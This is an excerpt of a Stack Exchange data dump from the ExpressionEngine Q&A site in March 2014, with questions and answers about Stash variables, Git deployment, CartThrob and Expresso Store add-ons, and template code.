  <row Id="20168" PostTypeId="2" ParentId="20166" CreationDate="2014-03-11T07:57:18.193" Score="0" Body="&lt;p&gt;&lt;code&gt;{stash:foo}&lt;/code&gt; can be used when using the set pair tag, so for example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set}&#xA;    {stash:foo}bar{/stash:foo}&#xA;    {stash:bar}foo{/stash:bar}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would set 2 stash variables, foo and bar respectively. I believe the benefit here is that there's less method calls than the &lt;code&gt;{exp:stash:set name=&quot;&quot;}&lt;/code&gt; alternative (although note this is an assumption).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;code&gt;{stash:foo}&lt;/code&gt; when within a setting (whether it's normal or lists) pair tag to 'GET'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set}&#xA;    {stash:foo}bar{/stash:foo}&#xA;    {stash:bar}foo{/stash:bar}&#xA;    {stash:foobar}{stash:foo}{stash:bar}{/stash:foobar}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="96" LastEditorUserId="96" LastEditDate="2014-03-11T08:16:47.503" LastActivityDate="2014-03-11T08:16:47.503" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20169" PostTypeId="2" ParentId="20162" CreationDate="2014-03-11T08:57:33.883" Score="3" Body="&lt;p&gt;Can you define what you mean by &quot;a modern CMS&quot;? Any database driven system will face similar problems when using Git source control. This isn't specifically an ExpressionEngine problem. The only systems that wouldn't suffer this difficulty are those using flat file architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I often use Git with ExpressionEngine. The only possible sticking point being, as you point out, the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I  create a folder for database backups above my site root. Backups run either manually or by using something like BackupPro(ish) - automated via Cron. This means that the database is available in the repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also use DeployHQ to deploy from the repository to the staging/production servers. The database is imported manually after deployment. This could be automated via a Bash script that runs as part of the deployment process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a wealth of useful info in this thread &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/387/expressionengine-and-git-process&quot;&gt;ExpressionEngine and GIT Process&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2014-03-11T09:03:11.530" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20170" PostTypeId="2" ParentId="20143" CreationDate="2014-03-11T09:15:11.160" Score="1" Body="&lt;p&gt;Yes it does. I have just done a site with entries in Russian, Latvian, Czech and have another site that uses Chinese and Japanese.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-03-11T09:15:11.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20171" PostTypeId="2" ParentId="20167" CreationDate="2014-03-11T09:17:53.640" Score="1" Body="&lt;p&gt;Looks like you might be running into EE's secure form feature.&#xA;Put the following input tag in your form and see if it works out.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type='hidden' name='XID' value='{XID_HASH}' /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1666" LastActivityDate="2014-03-11T09:17:53.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20175" PostTypeId="2" ParentId="20038" CreationDate="2014-03-11T11:14:01.903" Score="0" Body="&lt;p&gt;This appears to be the same problem as here: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/19043/cartthrob-php-error-when-checking-out&quot;&gt;Cartthrob PHP Error when checking out&lt;/a&gt;. Perhaps Chris Newton's suggested fix would solve the problem for now.&lt;/p&gt;&#xA;" OwnerUserId="2675" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-03-11T11:14:01.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20178" PostTypeId="1" AcceptedAnswerId="20221" CreationDate="2014-03-11T13:01:35.727" Score="0" ViewCount="170" Body="&lt;p&gt;I try to store member_id/author_id for session during visit of other users. Goal: show content of a certain user without showing the id in a URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My &lt;strong&gt;testing&lt;/strong&gt; template has the author_id in segment_2.&#xA;I can get this segment_2 with stash, this outputs in the template allright.&#xA;Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;sn_author&quot; scope=&quot;user&quot; save=&quot;yes&quot; type=&quot;snippet&quot;}{segment_2}{/exp:stash:set}&#xA;&#xA;&#xA;{if sn_author == segment_2}success{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I cannot make this work inside a regular EE entrees tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EE tag outputs correct when hardcoding the desired author_id.&#xA;But when I use stash get, it does not work.&#xA;I understand this is a parsing order.&#xA;I tried process=&quot;end&quot; no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My EE entrees tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;member_profiles&quot; dynamic=&quot;off&quot; author_id=&quot;{exp:stash:sn_author process=&quot;end&quot;}&quot;}{member_first_name} {member_last_name} {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am rather new to stash, cannot get around this, and do hope for an answer here, thank you very much.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2014-03-31T18:32:21.860" Title="setting stash snippet as author_id does not parse" Tags="|stash|entry|author|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20179" PostTypeId="1" CreationDate="2014-03-11T13:03:19.263" Score="1" ViewCount="181" Body="&lt;p&gt;Client just increased scope for a project a bit by requiring us to be able to export all customer data from Expresso store so that their AS400 can store it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are some options here.. Zenbu + Hokaku, AJW Export and DataGrab.. We were already going to use DataGrab to import inventory into Expresso from their AS400 mainframe, but I wasn't entirely sure if it had reasonable export functionality that is up to this task. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody weigh in on this and advise me on my options? Do I require another plugin or can I just use Datagrab? &lt;/p&gt;&#xA;" OwnerUserId="2559" LastActivityDate="2014-04-11T01:54:36.637" Title="Export Expresso Store customer data" Tags="|expresso-store|datagrab|export|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20180" PostTypeId="2" ParentId="13757" CreationDate="2014-03-11T13:08:01.667" Score="1" Body="&lt;p&gt;One workaround I can think of is to use Cartthrob's very own encrypted string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may work whereby you would encrypt both or either parts of the segment in the return value, then decrypt them when displaying the entry. Or at least make it more secure if the message still exists. See &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/view_encrypted_string/&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/view_encrypted_string/&lt;/a&gt; and &lt;a href=&quot;http://cartthrob.com/docs/tags_detail/view_decrypted_string/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags_detail/view_decrypted_string/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2675" LastActivityDate="2014-03-11T13:08:01.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20181" PostTypeId="1" CreationDate="2014-03-11T13:09:10.987" Score="1" ViewCount="47" Body="&lt;p&gt;I use Matrix with a Multi-language plugin (bieber.ltd).&#xA;Multi-language capabilities results in a plethora of fields especially within matrix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I wonder if its possible to stack cels vertically in the cp-panel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;| cell_title_de | cell_description_de |&#xA;| cell_title_en | cell_description_en |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;| cell_title_de | cell_title_en | cell_description_de | cell_description_en |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anybody knows something about this?&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2014-04-10T16:46:51.480" Title="Matrix: Vertical Cell Organization in cp" Tags="|matrix|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20183" PostTypeId="2" ParentId="20166" CreationDate="2014-03-11T13:43:54.387" Score="5" Body="&lt;p&gt;&lt;code&gt;{exp:stash:get name=&quot;foo&quot;}&lt;/code&gt; is a module tag. When the template parser encounters it, it calls the &lt;code&gt;get()&lt;/code&gt; method of the 'stash' module class, which returns the value of &lt;code&gt;foo&lt;/code&gt;. If &lt;code&gt;foo&lt;/code&gt; doesn't exist, an empty value is returned, unless the &lt;code&gt;default=&quot;&quot;&lt;/code&gt; parameter has been set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:stash:foo}&lt;/code&gt; is a shorter syntax version of the above tag, for convenience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{stash:foo}&lt;/code&gt; used on its own (not as a tag pair) is a &lt;em&gt;placeholder&lt;/em&gt; for a native Stash variable, similar to an ExpressionEngine snippet. When the parser encounters it, it looks up the value of &lt;code&gt;foo&lt;/code&gt; in a special array that Stash uses to store all variables that have been created previously in the parse order. The value it finds then replaces the placeholder. If it doesn't find a value the placeholder is left in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which you use depends on parse order. Inside Stash embeds and any blocks of code parsed by Stash, placeholders in the form &lt;code&gt;{stash:variable}&lt;/code&gt; are parsed &lt;em&gt;before&lt;/em&gt; ExpressionEngine tags, but &lt;em&gt;after&lt;/em&gt; snippets. That makes them useful for passing values into tag parameters which are parsed later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can also set a ExpressionEngine snippet value by using &lt;code&gt;type=&quot;snippet&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:stash:set name=&quot;foo&quot; type=&quot;snippet&quot;}value{/exp:stash:set}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can then be accessed inside EE or Stash embeds and any blocks of code parsed by Stash in the form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{foo}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2014-03-11T13:50:05.830" LastActivityDate="2014-03-11T13:50:05.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20184" PostTypeId="1" CreationDate="2014-03-11T14:25:20.960" Score="1" ViewCount="49" Body="&lt;p&gt;Can Cartthrob maintain separate inventory for sized items? For example, can we have shoes where there are different managed inventory counts for size 10 vs size 12 vs size 14?&lt;/p&gt;&#xA;" OwnerUserId="2836" LastActivityDate="2014-03-11T14:25:20.960" Title="Cartthrob and Sized Item Inventory" Tags="|cartthrob|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20185" PostTypeId="1" CreationDate="2014-03-11T15:16:25.433" Score="0" ViewCount="65" Body="&lt;p&gt;Got a bit of a tricky situation, I need to get some categories, that have a product assigned to itself and another category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sort of like sub-categories would work but this other category can't be sub-category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a category group with the following categories, &lt;code&gt;Menu 1&lt;/code&gt;, &lt;code&gt;Menu 2&lt;/code&gt;, &lt;code&gt;Menu 3&lt;/code&gt;. There is also another category group with the following categories &lt;code&gt;Drinks&lt;/code&gt;, &lt;code&gt;Food&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second category group is relevant to all the first group categories. So for each &lt;code&gt;Menu&lt;/code&gt; category, I need to be able to show the &lt;code&gt;Drinks&lt;/code&gt; or &lt;code&gt;Food&lt;/code&gt; category as long as there is a product associated with both the category group categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that made sense, I can't really think of a way EE could do this. So any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2014-03-12T18:35:51.317" Title="Category Question" Tags="|categories|category-group|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20186" PostTypeId="2" ParentId="20181" CreationDate="2014-03-11T15:47:04.247" Score="3" Body="&lt;p&gt;I found a solution. The &lt;a href=&quot;http://devot-ee.com/add-ons/nolan&quot; rel=&quot;nofollow&quot;&gt;Nolan Add-on&lt;/a&gt; does what I wanted. There is an option to stack the nolan field verticaly. Now it looks pretty :) And it even works within the multi-language environment.&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2014-03-11T15:47:04.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20187" PostTypeId="2" ParentId="20185" CreationDate="2014-03-11T16:03:52.960" Score="0" Body="&lt;p&gt;I'm not really sure what you want to attemp but I think I will try to attemp this with Relationship. - Francois&lt;/p&gt;&#xA;" OwnerUserId="482" LastActivityDate="2014-03-11T16:03:52.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20188" PostTypeId="2" ParentId="20129" CreationDate="2014-03-11T16:15:35.697" Score="0" Body="&lt;p&gt;I've resolved this issue by rebuilding the form from scratch. I'm not sure what the original issue was, but I'm now about to use a Grid in a Channel Form for input.&lt;/p&gt;&#xA;" OwnerUserId="1295" LastActivityDate="2014-03-11T16:15:35.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20189" PostTypeId="2" ParentId="20185" CreationDate="2014-03-11T16:20:19.793" Score="1" Body="&lt;p&gt;If you assign both category groups to your channel (Menu, Food Type) you should be able to use the categories as you want and display which items are part of the menu category regardless of their food or drink classification. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'd like more flexibility, however, you might consider making your Menu a channel with entries themselves and using Playa to relate your various food options to them.&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2014-03-11T16:20:19.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20190" PostTypeId="2" ParentId="20153" CreationDate="2014-03-11T17:06:42.540" Score="1" Body="&lt;p&gt;Could it be that one of add-ons you have is using Channel::parse_related_entries()?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to check that. &#xA;Otherwise it looks like some relationship field did not upgrade correctly.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-03-11T17:06:42.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20191" PostTypeId="2" ParentId="19660" CreationDate="2014-03-11T17:13:48.143" Score="0" Body="&lt;p&gt;The best practice would be to have fields mapped in add-on settings. If you think that is overkill, store them in custom or global config file.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-03-11T17:13:48.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20192" PostTypeId="1" CreationDate="2014-03-11T17:15:03.280" Score="1" ViewCount="92" Body="&lt;p&gt;After installing cart throb lite and default templates, on testing the default checkout page and hitting the checkout button, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1364&#xA;&#xA;Field 'title' doesn't have a default value&#xA;&#xA;INSERT INTO `exp_channel_titles` (`entry_id`, `site_id`, `channel_id`, `author_id`, `forum_topic_id`, `ip_address`, `status`, `versioning_enabled`, `entry_date`, `edit_date`, `year`, `month`, `day`) VALUES ('', '1', '2', 1, 0, '::1', 'closed', 'y', 1394557211, '20140311130111', '2014', '03', '11')&#xA;&#xA;Filename: third_party/cartthrob/models/cartthrob_entries_model.php&#xA;&#xA;Line Number: 261&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The entry id is going as null, even though on_the_fly=&quot;yes&quot; is set in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the problem?&lt;/p&gt;&#xA;" OwnerUserId="887" LastActivityDate="2014-03-28T11:35:22.210" Title="Cartthrob Lite Problem" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20193" PostTypeId="1" CreationDate="2014-03-11T17:50:11.287" Score="0" ViewCount="52" Body="&lt;p&gt;I am using {exp:profile:edit} to edit users account details and I have added a Grid Field type to store custom data. In my scenario I do not display the data from the Grid fields in the edit form and every time I edit my details the data in the grid field is wiped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is the correct behaviour for Profile:Edit? I know the updated Channel Forms tag states specifically &quot;Edit existing entries, and only edit the fields you need. Fields not in your form will be left intact.&quot; but I can't find anything in the ProfileEdit docs about this.&lt;/p&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2014-03-11T17:50:11.287" Title="Profile:Edit deleting Grid field data" Tags="|profile-edit|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20194" PostTypeId="2" ParentId="20149" CreationDate="2014-03-11T18:50:24.620" Score="1" Body="&lt;p&gt;Recasting my comments as an &quot;Answer&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would guess both DataGrab and Magpie.pi incorporate &lt;a href=&quot;http://magpierss.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;the Magpie RSS processor written in PHP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's fine.  What isn't fine is that both add-ons are defining variables/classes with the same name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd check to see if you are running the latest version of both of these add-ins as it may be something that one or other developer has encountered and fixed previously.&lt;/p&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-03-11T18:50:24.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20197" PostTypeId="2" ParentId="20038" CreationDate="2014-03-11T20:54:33.473" Score="0" Body="&lt;p&gt;Aargh! The issue was with boldminded's &lt;a href=&quot;https://boldminded.com/add-ons/publisher&quot; rel=&quot;nofollow&quot;&gt;Publisher&lt;/a&gt; module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what the problem is, but if I disable that, the fields come through onto the packing slip no problem at all. Now I just need to see if upgrading Publisher to 1.2.2 makes a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish these expensive CT add-ons would play together a bit better :-/&lt;/p&gt;&#xA;" OwnerUserId="906" LastActivityDate="2014-03-11T20:54:33.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20199" PostTypeId="2" ParentId="20162" CreationDate="2014-03-11T23:16:50.187" Score="1" Body="&lt;p&gt;You can source control all templates as you can set them to be saves as files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing you'll have an issue with is the db but show me a db driven cms for less then $10k that does that well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is heaps of info out there on how to run a EE site with GIT, a small bit of googling will get you there but many many of us run it in GIT very nicely indeed.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2014-03-11T23:16:50.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20200" PostTypeId="2" ParentId="20179" CreationDate="2014-03-12T01:33:01.827" Score="1" Body="&lt;p&gt;It depends entirely on what format you need the data to be export into (CSV, JSON, XML, etc). Even when you have decided on a format, you probably need to massage the data into specific columns which apply to your new system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Datagrab etc work well for import/export, I don't personally have any experience with the others. In most situations I would recommend simply writing a SQL query to gather the data you need and export it to CSV. For more complicated requirements, you could also write a simple PHP script to gather the data and display it in the format required.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-12T01:33:01.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20201" PostTypeId="2" ParentId="20087" CreationDate="2014-03-12T01:42:32.130" Score="1" Body="&lt;p&gt;Store can't calculate shipping costs without a shipping address specified. Exactly which fields are required depends on the shipping plugin, but with UPS for example generally you require at least a country and ZIP code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set a default country/state under Store &gt; Settings &gt; Countries / States.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I suggest you put a &lt;code&gt;shipping_postcode&lt;/code&gt; field on the first page of your checkout, so that customers can enter their ZIP and click Update to see the available shipping options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can ask the customer to choose a shipping option &lt;em&gt;after&lt;/em&gt; they have entered their full address, which will ensure the correct shipping options are displayed to them.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-12T01:42:32.130" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="20202" PostTypeId="2" ParentId="20084" CreationDate="2014-03-12T03:30:02.620" Score="2" Body="&lt;p&gt;In Store 2, you can create a discount with a minimum &quot;Purchase Total&quot;, then enable the &quot;Free Shipping&quot; option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EyV28.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could create a hidden &quot;Free Shipping&quot; option, then use conditionals in the checkout to automatically submit the free shipping method when the order total is over a certain amount.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-12T03:30:02.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20203" PostTypeId="2" ParentId="20073" CreationDate="2014-03-12T05:23:19.890" Score="2" Body="&lt;p&gt;We're using checkboxes for the categories, but I'm assuming it's similar...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the search form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories show=&quot;1|2|3|4&quot; limit=&quot;4&quot;}&#xA;    &amp;lt;div class=&quot;checkbox&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;categories[]&quot; value=&quot;{category_id}&quot; {checked}&amp;gt; {category_name} Products&amp;lt;/label&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the results tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:results &#xA;    orderby=&quot;distance&quot;&#xA;    category_search_type=&quot;OR&quot;&#xA;    match_categories_exact=&quot;yes&quot;&#xA;    limit=&quot;25&quot;&#xA;    paginate=&quot;true&quot;&#xA;    pars_vars=&quot;true&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="739" LastActivityDate="2014-03-12T05:23:19.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20204" PostTypeId="1" CreationDate="2014-03-12T05:37:37.150" Score="1" ViewCount="509" Body="&lt;p&gt;Based on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html#save-entry&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;, here is the signature for the method that inserts a new entry or update an existing one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;api_channel_entries-&amp;gt;save_entry($data, $channel_id, $entry_id, $autosave);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is that, what should be the contents for $data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say for example I have Channel A which has only one custom field, &quot;foo&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I do this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array (&#xA;    'title' =&amp;gt; 'bar',&#xA;    'url_title' =&amp;gt; 'bar'&#xA;    'foo' =&amp;gt; 'bar'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array (&#xA;    'title' =&amp;gt; 'bar',&#xA;    'url_title' =&amp;gt; 'bar'&#xA;    'field_id_&amp;lt;field id of foo&amp;gt;' =&amp;gt; 'bar'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or is the contents of &lt;code&gt;$data&lt;/code&gt; should be something else entirely? Do I need to input required field?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-04-21T07:48:32.677" Title="ee()-&gt;api_channel_entries-&gt;save_entry() $data argument" Tags="|channel-entries|channel-entries-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20205" PostTypeId="2" ParentId="20138" CreationDate="2014-03-12T05:58:36.867" Score="0" Body="&lt;p&gt;Related to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/19877/feel-stupid-but-how-code-checkbox-in-form&quot;&gt;feel stupid, but, how code checkbox in form?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chris Barret from &lt;a href=&quot;https://mightybigrobot.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mightybigrobot&lt;/a&gt; (makers of Cartthrob abd Profile:edit) helped me out.&#xA;The brackets have to go in a checkbox or radio select field. &#xA;Working code is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;forms-inline-list&quot;&amp;gt;&#xA;                 {options:gender}&#xA;            &amp;lt;li&amp;gt;&#xA;        &amp;lt;input type=&quot;radio&quot; id=&quot;gender&quot; name=&quot;gender&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;        &amp;lt;label for=&quot;checkbox&quot;&amp;gt;{option_value}&amp;lt;/label&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;                {/options:gender}&#xA;               &amp;lt;/ul&amp;gt;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-03-12T05:58:36.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20206" PostTypeId="1" AcceptedAnswerId="20211" CreationDate="2014-03-12T06:24:04.403" Score="0" ViewCount="594" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_1&quot;}&#xA;//how do i find the total no of entries retuned without exp:query?&#xA;{/exp/channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to find the count first and then loop?Any idea&lt;/p&gt;&#xA;" OwnerDisplayName="user2133" LastActivityDate="2014-03-12T07:51:45.723" Title="Total no of row returned for exp:channel:entries?" Tags="|ee2|query|count|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20207" PostTypeId="2" ParentId="20158" CreationDate="2014-03-12T06:58:22.063" Score="3" Body="&lt;p&gt;Given that Store is a server-side product, there are no differences between browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add to cart only requires that you submit a form to the server, which should work with even the most basic web browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect if add to cart is not working on some devices, it's most likely related to the login status or stock level of that product, or possibly some client-side JS that you have implemented yourself.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-12T06:58:22.063" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="20208" PostTypeId="2" ParentId="20155" CreationDate="2014-03-12T07:03:16.990" Score="2" Body="&lt;p&gt;You need to specify the return and cancel URLs on a per-request basis. In Store v1 you can get these URLs with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;param('return_url'); // use this for success and error&#xA;$this-&amp;gt;param('cancel_url'); // use this for cancel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see how this is done in other gateways such as PayPal Express:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/expressodev/ci-merchant/blob/master/libraries/merchant/merchant_paypal_express.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/expressodev/ci-merchant/blob/master/libraries/merchant/merchant_paypal_express.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-12T07:03:16.990" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
